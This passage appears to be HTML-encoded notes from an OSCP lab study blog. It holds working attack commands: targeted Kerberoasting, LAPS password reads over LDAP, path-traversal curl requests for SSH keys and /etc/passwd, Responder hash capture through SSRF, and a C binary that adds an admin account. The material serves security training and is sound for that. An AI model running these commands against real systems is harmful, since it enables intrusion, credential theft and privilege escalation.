TGT; this is an interesting technique&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;targetedKerberoast.py -v -d &amp;#39;hokkaido-aerospace.com&amp;#39; -u &amp;#39;hrapp-service&amp;#39; -p &amp;#39;Untimed$Runny&amp;#39; --dc-ip 192.168.208.40&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://wadcoms.github.io/wadcoms/targetedKerberoast/&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;targetedKerberoast differs from ordinary Kerberoasting:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Ordinary Kerberoasting:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;powershellCopy# Any domain user can run this&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-DomainUser -SPN # Enumerate all SPNs&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Rubeus.exe kerberoast # Request tickets for all SPNs&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Targeted Kerberoasting:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Requires GenericWrite permission&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Can temporarily add an SPN to a normal user&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Remove the SPN after obtaining the ticket&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# This can be found in BloodHound&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# The current user has ReadLAPSPassword permission&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# This allows reading local-administrator passwords for domain machines&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ldapsearch -v -c -D username@domain.com -w password -b &amp;#34;DC=domain,DC=com&amp;#34; -H ldap://DC_IP &amp;#34;(ms-MCS-AdmPwd=*)&amp;#34; ms-MCS-AdmPwd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ldapsearch -v -c -D fmcsorley@hutch.offsec -w CrabSharkJellyfish192 -b &amp;#34;DC=hutch,DC=offsec&amp;#34; -H ldap://$IP &amp;#34;(ms-MCS-AdmPwd=*)&amp;#34; ms-MCS-AdmPwd&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="100some-oscp-details"&gt;&lt;a href="#100some-oscp-details" class="header-anchor"&gt;&lt;/a&gt;100.Some OSCP Details&#10;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Arbitrary File Read&lt;/strong&gt;&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;Arbitrary file reads are mostly useful for grabbing important data such as SSH private keys. Reading one in a browser can mangle its formatting, though. I had run into this before and never found a good solution—I would guess the line lengths and add the line breaks one by one. OSCP called out a much cleaner approach.&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;It turns out that curl is all you need.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../home/offsec/.ssh/id_rsa&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;--path-as-is&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;This argument prevents curl from normalizing ../../ into /&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Directory Wordlists for Testing&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Windows\System32\drivers\etc\hosts&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Windows\System32\drivers\etc\hosts&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\inetpub\wwwroot\web.config&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\inetpub\logs\LogFiles\W3SVC1\&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Apache 2.4.49 Directory Traversal Vulnerability&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl http://192.168.50.16/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd --path-as-is&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl http://192.168.50.16/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/opt/passwd --path-as-is&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;responder&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ip a&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo responder -I tun0&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo responder -I tun0 -v&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;An interesting case&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;When a domain host has an SSRF vulnerability, I usually make it send an HTTP request to the attacker machine&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;HTTP requests usually require no authentication, so they do not carry HTLM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SMB and WebDAV do carry it and can be combined with a pseudo-protocol&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;file:////192.168.45.184/share&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Or WebDAV&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;http://192.168.45.184/share&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h5 id="situational-awareness-and-information-gathering-very-important-for-windows-privilege-escalation"&gt;&lt;a href="#situational-awareness-and-information-gathering-very-important-for-windows-privilege-escalation" class="header-anchor"&gt;&lt;/a&gt;Situational Awareness and Information Gathering (Very Important) for Windows Privilege Escalation&#10;&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;span class="lnt"&gt;35&#10;&lt;/span&gt;&lt;span class="lnt"&gt;36&#10;&lt;/span&gt;&lt;span class="lnt"&gt;37&#10;&lt;/span&gt;&lt;span class="lnt"&gt;38&#10;&lt;/span&gt;&lt;span class="lnt"&gt;39&#10;&lt;/span&gt;&lt;span class="lnt"&gt;40&#10;&lt;/span&gt;&lt;span class="lnt"&gt;41&#10;&lt;/span&gt;&lt;span class="lnt"&gt;42&#10;&lt;/span&gt;&lt;span class="lnt"&gt;43&#10;&lt;/span&gt;&lt;span class="lnt"&gt;44&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# All groups to which the current user belongs&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;whoami /groups&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;powershell&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Local users, enabled status, and descriptions&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-LocalUser&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Local groups&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-LocalGroup&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Use the group name above as an argument to view its members&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-LocalGroupMember adminteam&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Routing table&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;route print&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# View all applications&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-ItemProperty &amp;#34;HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*&amp;#34; | select displayname&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# View processes&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-Process&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Similar to find; the approach is useful&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-ChildItem -Path C:\xampp -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-ChildItem -Path C:\Users\dave\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Transcript files may contain credentials&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Users\Public\Transcripts\transcript01.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Search history&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(Get-PSReadlineOption).HistorySavePath&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Files that may contain passwords&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Users\All Users\Microsoft\UEV\InboxTemplates\RoamingCredentialSettings.xml&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Users\dave\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView\ZxcvbnData\3.0.0.0\passwords.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Users\dave\AppData\Local\Packages\MicrosoftTeams_8wekyb3d8bbwe\LocalCache\Microsoft\MSTeams\EBWebView\ZxcvbnData\3.0.0.0\passwords.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Existing services&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# This filters out services that are not running&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like &amp;#39;Running&amp;#39;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Show all services&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-CimInstance -ClassName win32_service | Select Name,State,PathNam&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# View file permissions&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;icacls &amp;#34;C:\xampp\apache\bin\httpd.exe&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;table&gt;&#10;&#9;&lt;thead&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th style="text-align: left"&gt;Mask&lt;/th&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th style="text-align: left"&gt;Permissions&lt;/th&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&lt;/thead&gt;&#10;&#9;&lt;tbody&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td style="text-align: left"&gt;F&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td style="text-align: left"&gt;Full access&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td style="text-align: left"&gt;M&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td style="text-align: left"&gt;Modify access&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td style="text-align: left"&gt;RX&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td style="text-align: left"&gt;Read and execute access&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td style="text-align: left"&gt;R&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td style="text-align: left"&gt;Read-only access&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td style="text-align: left"&gt;W&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td style="text-align: left"&gt;Write-only access&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;&lt;p&gt;When replacing a service executable, you can compile one yourself.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;adduser.c&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;```c&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#include &amp;amp;lt;stdlib.h&amp;amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;int main ()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;int i;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;i = system (&amp;#34;net user dave2 password123! /add&amp;#34;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;i = system (&amp;#34;net localgroup administrators dave2 /add&amp;#34;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;return 0;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;```text&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;x86_64-w64-mingw32-gcc adduser.c -o adduser.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Then use net stop or net start on the service&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# View the target service&amp;#39;s startup type&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like &amp;#39;mysql&amp;#39;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AUTO means automatic startup&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h5 id="powerupps1"&gt;&lt;a href="#powerupps1" class="header-anchor"&gt;&lt;/a&gt;PowerUp.ps1&#10;&lt;/h5&gt;&lt;div 